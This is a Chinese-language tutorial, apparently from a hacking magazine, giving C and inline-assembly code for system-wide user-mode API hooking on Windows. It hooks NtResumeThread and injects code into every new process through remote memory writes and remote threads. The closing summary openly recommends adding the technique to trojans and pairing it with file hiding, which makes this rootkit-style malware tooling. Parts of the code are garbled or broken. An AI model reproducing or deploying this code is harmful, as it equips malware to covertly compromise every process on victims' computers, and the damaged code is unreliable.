|
API攔截——實現Ring3全局HOOK 首先來解釋一下這次的目標。由于windows的copy-on-write機制(Ring0下可以用CR0寄存器關掉它),Ring3下的HOOK只對當前進程有效,其他進程的API還是正常的。這就是說我們必須枚舉進程,然后對每個Ring3進程執(zhí)行一遍HOOK操作。 但是,系統(tǒng)中總有新進程產生,對于這些新進程我們怎么處理呢?最容易想到的就是設置一個TIMER,每隔一段時間就枚舉一遍進程然后把新的掛鉤。但仔細一想就知道不行,TEMER過快嚴重影響系統(tǒng)效率,慢了又起不到作用,況且windows不是一個實時操作系統(tǒng),沒人能保證到時間TEMER就被激活。如果我們能監(jiān)控進程創(chuàng)建,并在他們真正運行之前就執(zhí)行掛鉤操作,就可以完美的解決問題。 但是如何做到這一點呢?我們知道Ring3的進程都有一個“父進程”也就是說新進程都是由老進程創(chuàng)建的(驅動很少創(chuàng)建進程)。知道這一點就好辦了,我們要做的只是截獲進程創(chuàng)建。你肯定會說“這么簡單,HOOK NtCreateProcess就可以了!”但是這不是最簡單的做法。為什么這么說呢,首先在NtCreateProcess函數被調用時進程并沒有真正被創(chuàng)建,我們無法執(zhí)行HOOK操作,而當NtCreateProcess返回時,進程又已經開始運行,HOOK時存在線程同步的問題(我用OD在NtCreateProcess設下INT3斷點,卻攔不到,不只是為什么?)。 所以我選的函數是NtResumeThread。我們知道,當新進程被創(chuàng)建時,OS會為其創(chuàng)建一個住線程,而在這之后會調用NtResumeThread時期開始運行,這時初始化完畢,DLL都已經被載入,但進程卻沒有開始運行這時我們最好的機會(HAHA,天助我也HAHAHA…)。 NTSTATUS NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); 思路是這樣但是怎么實現呢?來看一下函數的定義: 我們關心的是第一個參數,它存儲的是新進程主線程的句柄,我們可以通過調用ThreadInformationClass=0,ThreadInformationLength=28的NtQueryInformationThread函數來獲得該縣城所屬進程的PID,然后只要HOOK它就可以了。 話雖如此,可是如果把HOOK的代碼都放到遠程去未免太麻煩了。開始我想的是用遠程進程調用CreateRemoteThread來回調HOOK進程。但仔細想想就會發(fā)現,我們在本地HOOK時有足夠的權限,可是如果遠程進程是GUEST權限的呢?回調時由于權限不夠就會出錯。翻了翻《windows核心編程》后恍然大悟:可以使用windows的事件對象來實現。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在HOOK每一個進程的時候,用CreateEvent創(chuàng)建一個不可繼承、自動重置的Event對象,然后創(chuàng)建一個線程用WaitForSingleObject函數等待改Event。當攔截到新進程創(chuàng)建時,遠程線程調用SetEvent來激活Event,然后同樣調用WaitForSingleObject函數等待。這時本地的WaitForSingleObject會返回, 然后再進行相關的處理,然后調用SetEvent來讓遠程hook函數繼續(xù)運行。這樣有個問題就是本題怎樣知道新進程PID?我的解決辦法是遠程調用SetEvent前先把PID寫在HOOK函數開頭的特定偏移位置,然后本地用ReadProcessMemory來讀取。限于篇幅講得不太具體,如果不懂最好去看一看《windows核心編程》。 好了,理論就講道這里,來看看代碼,GO?。m然是在去年的5期文章的基礎上改的,不過改動較大,所以關鍵代碼已提上來了。) 首先是hook函數,主要功能是對指定進程的指定API進行hook操作 int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle) { DWORD dw, NamedApiAddress,NewFunc;//變量初始化 MEMORY_BASIC_INFORMATION mbi; static EventInfo myEventInfo; static Num=0x676e696b; NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目標api地址,每個進程的api地址都是一樣的,只要找本進程的就可以了。 if(NamedApiAddress == NULL) { printf(“Error:GetProcAddress in hook_api”);//錯誤處理 return 0; } if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取目標api所在內存信息 { printf(“Error:VirtualQueryEx in hook_api”); return 0; } if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配寫和執(zhí)行權限,因為我們要對目標API開頭進行寫操作 { printf(“Error:VirtualProtectEx in hook_api”); return 0; } LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫入hook函數 //計算備份函數COPY的位置 NewFunc = NamedApiAddress – (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll; //修改原函數入口處內容 if(strcmp(ApiName,”NtResumeThread”)==0)//如果是hook NtResumeThread函數要做一些處理 { DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”CreateEventA”); HANDLE EventFar; __asm//這里不用匯編vc總說類型不對,偷個懶^_^ { pushad push 00000000h push Num push 0x676e696b push esp//構造Event名 push 0 push 0 push 0 call my_CreateEventA mov EventFar,eax add esp,12 popad } *(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”O(jiān)penEventA”);//遠程函數的API地址都是動態(tài)寫入的。這里說一句,以前是寫入遠程后用WriteProcessMemory來改,后來想到這樣太慢(轉到Ring0要1000個CPU時間的哦)于是改在本地完成,但我們對代碼段進行了寫操作,默認是不允許的,所以要用PE修改工具來給.text段加上可寫屬性 LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫入StartUp函數,因為我們用Event來解決,所以要在遠程打開該Event對象 WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//寫入函數 printf(“%x\n”,(DWORD)StartUpAddr);//調試信息 HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//創(chuàng)建遠程線程 WaitForSingleObject(FarThread,-1);//等待遠程初始化完畢 CloseHandle(FarThread); DWORD ReadBuf; ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//讀出遠程的Event句柄數值,后面寫入HOOK函數 VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//釋放內存 *(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//寫入句柄 myEventInfo.EventFar=EventFar; myEventInfo.ObjectProcessHandle=ObjectProcessHandle; myEventInfo.WriteAddress=(DWORD)WriteAddress;//線程參數 CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//創(chuàng)建本地等待線程 Num++;//每個進程用不同的Event,所以名稱不一樣 } *(PDWORD)(HookProc+WRITEBASE)=NewFunc; *(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”GetCurrentProcessId”); *(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”SetEvent”); *(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”WaitForSingleObject”); *(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle(“ntdll.dll”),”NtQueryInformationThread”); *(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”ResetEvent”);//初始化HOOK函數,寫入API地址 WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//寫入HOOK函數 *(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress; WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目標API首字節(jié),使其跳轉到我們的HOOK函數 printf(“func:%x\n”,WriteAddress);//調試信息 return 1; } 接下來是遠程的初始化函數,用來打開Event void FarStartUp(int Num){//Event名稱的后半段,我創(chuàng)建的Event名稱都是形如”kingXXXX” int myOpenEvent=0×10020000;//API函數地址,動態(tài)寫入,這條代碼編譯后是類似于這樣的匯編碼:mov [ebp+XX],XXXX,修改時只要把XXXX換成API地址就可以了 __asm call GetMyAddr;//這個是用來取得本函數的地址用的,不知道的話可以上網查查 DWORD myEventHandle=0×00220000;//本地從這里讀出句柄代碼,HOOK函數中的代碼類似 DWORD FuncAddr; __asm { jmp run//正式運行時跳過 GetMyAddr: pop eax mov FuncAddr,eax push eax ret run: push 00000000 push Num push 0x676e696b push esp push 0 push EVENT_ALL_ACCESS call myOpenEvent//構造字符串,并打開句柄 mov myEventHandle,eax } *(PDWORD)(FuncAddr+3)=myEventHandle;//往開頭寫入 return; } 這時上面說到過的等待線程,每HOOK一個進程就有一個對應的這個線程,這里本來應該加一個垃圾回收機制,即當本線程對應的進程已經不存在了的時候,線程自我銷毀。不過還沒來得及寫^_^ void __stdcall my_EventProcess_Thread(PVOID InEventInfo) { EventInfo myEventInfo; PEventInfo Info=(PEventInfo)InEventInfo; myEventInfo.EventFar=Info->EventFar;//保存句柄和進程信息 myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle; myEventInfo.WriteAddress=Info->WriteAddress;//這個是HOOK函數句柄 while(true)//循環(huán)等待 { WaitForSingleObject(myEventInfo.EventFar,-1); DWORD ReadBuf=0;//當對應進程創(chuàng)建后WaitForSingleObject返回,執(zhí)行到這里 ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//從遠程讀出新進程的PID,在HOOK函數調用SetEvent之前會在遠程寫入。 HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打開目標進程 HookProcess(ObjectProcessHandle);//執(zhí)行HOOK操作,本來應改檢查一下該進程是否已經被HOOK,還沒來得及寫 SetEvent(myEventInfo.EventFar);//恢復遠程Hook函數運行 ResetEvent(myEventInfo.EventFar);//本來是自動重置的Event,不過為了保險在重置一下 } return; } 下面是精華了哦,重點仔細看啊。 DWORD __stdcall Hook_NtResumeThread( HANDLE ThreadHandle, PULONG PreviousSuspendCount OPTIONAL) { int OldNtResumeThread;//原NtQueryDirectoryFile函數 int EventHandle; //Event句柄,由FarStartUp函數打開 int my_GetCurrentProcessId; int my_SetEnent; int my_WaitForSingleObject; int my_NtQueryInformationThread;//存放個API的指的變量 int my_ResetEvent; __asm { mov OldNtResumeThread,00112244h mov EventHandle,00225588h mov my_GetCurrentProcessId,22447799h mov my_SetEnent,55662244h mov my_WaitForSingleObject,55889966h mov my_NtQueryInformationThread,77554411h mov my_ResetEvent,55661188h//hook時寫入 pushad//保護堆棧 } __asm call GetAddr;//同FarStartUp函數 int FarRead; __asm mov FarRead,22550011h; DWORD myAddr; __asm { jmp start GetAddr: pop eax mov myAddr,eax push eax ret start: } DWORD myStatus;//存儲返回變量 BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的緩沖 int infoaddr=(DWORD)&SystemInfo;//緩沖地址 int CurrentProcess; __asm { push 0 push 28//這里必須是28,則函數不執(zhí)行,這個值是我從10到100瓊琚出來的,辛苦啊555。。。 push infoaddr push 0 push ThreadHandle call my_NtQueryInformationThread//調用NtQueryInformationThread獲得線程所屬進程的PID mov myStatus,eax } DWORD *)(SystemInfo+8); __asm { call my_GetCurrentProcessId//獲得本進程PID mov CurrentProcess,eax } if(id==(DWORD)CurrentProcess)//如果是對當前進程操作就直接返回,免得傳回本地浪費時間降低效率 { __asm { push PreviousSuspendCount push ThreadHandle call OldNtResumeThread mov myStatus,eax popad//對應開頭的pushad,用來保護堆棧,下同 } return myStatus; } if(myStatus==0)//如果NtQueryInformationThread執(zhí)行不成功就直接返回,漏hook總比程序死掉好,嘿嘿 { *(PDWORD)(myAddr+3)=id;//把目標PID寫道函數開頭 __asm { push EventHandle call my_SetEnent//恢復本地對應線程運行 push -1 push EventHandle call my_WaitForSingleObject//等待本地HOOK操作完成 push EventHandle call my_ResetEvent } } __asm { push PreviousSuspendCount push ThreadHandle call OldNtResumeThread//調用原NtResumeThread函數,到這里,新進程正式開始運行 mov myStatus,eax popad//保護堆棧 } return myStatus;//這個是用來擺平vc++編譯器的,沒實際意義^_^ } 小結: 最后來總結一下思路把,程序分為本地(HOOK程序)和遠程(被HOOK程序)。 最近Ring0的木馬大行其道,不過Ring0的東西寫起來太費時搞不好就BSOD,光是弄DDK就花了我一個禮拜,555…所以我們的Ring3HOOK還是很有市場的,快加到你的愛馬里吧,只要在開頭加一個枚舉進程,所有的Ring3進程就統(tǒng)統(tǒng)地被掛上了,再配合以前的隱藏文件……嘿嘿
|